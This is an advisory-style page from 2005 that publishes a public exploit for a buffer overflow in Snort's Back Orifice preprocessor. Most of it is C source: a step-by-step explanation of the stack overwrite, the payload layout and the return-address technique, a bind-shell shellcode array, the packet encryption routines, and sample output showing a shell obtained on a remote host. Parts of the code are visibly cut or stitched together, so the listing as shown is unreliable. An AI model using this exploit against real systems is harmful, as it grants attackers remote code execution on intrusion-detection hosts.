Snort Back Orifice Preprocessor Buffer Overflow (Exploit)
26 Oct. 2005
Summary
Snort is a widely-deployed, open-source network intrusion detection system (IDS). Snort preprocessors are modular plugins that extend functionality by operating on packets before the detection engine is run.
Presented here is an exploit for the Snort Back Orifice preprocessor buffer overflow. Exploiting a vulnerable system could allow a remote attacker to execute arbitrary code.
Exploit:
/*
* THCsnortbo 0.3 - Snort BackOrifice PING exploit
* by rd@thc.org
* THC PUBLIC SOURCE MATERIALS
*
* Bug was found by Internet Security Systems
* http://xforce.iss.net/xforce/alerts/id/207
*
* v0.3 - removed/cleaned up info for public release
* v0.2 - details added, minor changes
* v0.1 - first release
*
* Greetz to all guests at THC's 10th
* Anniversary (TAX) :>
*
* $Id: THCsnortbo.c,v 1.1 2005/10/24 11:38:59 thccvs Exp $
*
*/
/*
* DETAILS
*
* The bug is in spp_bo.c, BoGetDirection() function
* static int BoGetDirection(Packet *p, char *pkt_data) {
* u_int32_t len = 0;
* u_int32_t id = 0;
* u_int32_t l, i;
* char type;
* char buf1[1024];
*
* ...
* buf_ptr = buf1;
* ...
* while ( i < len ) {
* plaintext = (char) (*pkt_data ^ (BoRand()%256));
* *buf_ptr = plaintext;
* i++;
* pkt_data++;
* buf_ptr++;
*
* len is taken from the BO packet header, so its a buffer
* overflow when len > buf1 size.
*
* The exchange of data between the BO client and server is
* done using encrypted UDP packets
*
* BO Packet Format (Ref: http://www.magnux.org/~flaviovs/boproto.html)
* Mnemonic Size in bytes
* MAGIC 8
* LEN 4
* ID 4
* T 1
* DATA variable
* CRC 1
*
* On x86, because of the stack layout, we end up overwriting
* the loop counter (i and len). To solve this problem, we
* can set back the approriate value for i and len. We can
* also able to set a NULL byte to stop the loop.
*
* There is no chance for bruteforce, snort will die after the
* first bad try. On Linux system with kernel 2.6 with VA
* randomized, it would be much harder for a reliable exploit.
*
*
* In case of _non-optimized_ compiled snort binary, the stack
* would looks like this:
*
* [ buf1 ]..[ i ]..[ len ]..[ebp][eip][*p][*pkt_data]
*
* The exploit could be reliable in this case, by using a
* pop/ret return addess. Lets send to snort a UDP packet
* as the following:
*
* [ BO HEADERS ][ .. ][ i ][ .. ][ len ][ .. ][ ret addr ][ NOP ][ shellcode ]
* [ Encrypted ][ Non Encrypted ]
*
* When the overwriting loop stop, pkt_data will point to
* the memory after return address (NOP part) in raw packet
* data. So, using a return address that points to POP/RET
* instructions would be enough for a reliable exploit.
* (objdump -d binary|grep -B1 ret|grep -A1 pop to find one)
*
* This method will work well under linux kernel 2.6 with VA
* randomized also.
*
* In case of optimized binary, it would be harder since
* the counter i, len and buffer pointers could/possibly be
* registered variables. And the register points to buffer
* get poped from stack when the funtion return. In this case,
* the return address should be hard-coded but it would be
* unreliable (especially on linux kernel 2.6 with VA
* randomization patch).
*
* This exploit would generally work. Providing that you know
* how to find and use correct offsets and return address :>
*
*
* Example:
*
* $ ./THCsnortbo
* Snort BackOrifice PING exploit (version 0.3)
* by rd@thc.org
*
* Usage: ./THCsnortbo host target
*
* Available Targets:
* 1 | manual testing gcc with -O0
* 2 | manual testing gcc with -O2
*
* $ ./snortbo 192.168.0.101 1
* Snort BackOrifice PING exploit (version 0.3)
* by rd@thc.org
*
* Selected target:
* 1 | manual testing gcc with -O0
*
* Sending exploit to 192.168.0.101
* Done.
*
* $ nc 192.168.0.101 31337
* id
* uid=104(snort) gid=409(snort) groups=409(snort)
* uname -sr
* Linux 2.6.11-hardened-r1
*
*/
/* a quick test bind shellcode on port 31337 from metasploit
*
* Connect back shellcode for snort exploit should be better, do
* it by yourself. im lazy :>
*/
unsigned char x86_lnx_bind[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
typedef struct {
char *desc; // description
unsigned char *scode; // shellcode
unsigned int scode_len;
unsigned long retaddr; // return address
unsigned int i_var_off; // offset from buf1 to variable 'i'
unsigned int len_var_off; // offset from buf1 to variable 'len'
unsigned int ret_off; // offset from buf1 to saved eip
unsigned int datasize; // value of size field in BO ping packet
} t_target;
y = strlen(g_password);
if (!y)
return 31337;
else {
z = 0;
for (x = 0; x < y; x++)
z+= g_password[x];
for (x = 0; x < y; x++) {
if (x%2)
z-= g_password[x] * (y-x+1);
else
z+= g_password[x] * (y-x+1);
z = z%RAND_MAX;
}
z = (z * y)%RAND_MAX;
return z;
}
}
void BOcrypt(unsigned char *buff, int len)
{
int y;
if (!len)
return;
msrand(getkey());
for (y = 0; y < len; y++)
buff[y] = buff[y] ^ (mrand()%256);
}
void explbuild(unsigned char *buff, t_target *t)
{
unsigned char *ptr;
unsigned long *pdw;
unsigned long size;
unsigned char *scode;
unsigned int scode_len;
unsigned long retaddr;
unsigned int i_var_off;
unsigned int len_var_off;
unsigned int ret_off;
unsigned int datasize;
/* you may want to place shellcode on encrypted part and will
* be decrypted into buf1 by BoGetDirection
*/
// memcpy(buff + OVERFLOW_BUFFSZ - scode_len - 128,
// (char *) scode, scode_len);
printf("\nSending exploit to %s\n", inet_ntoa(hostin));
if (sendping(dest, port, s, buff))
printf("Sending exploit failed for dest %s\n",
inet_ntoa(hostin));
printf("Done.\n");
}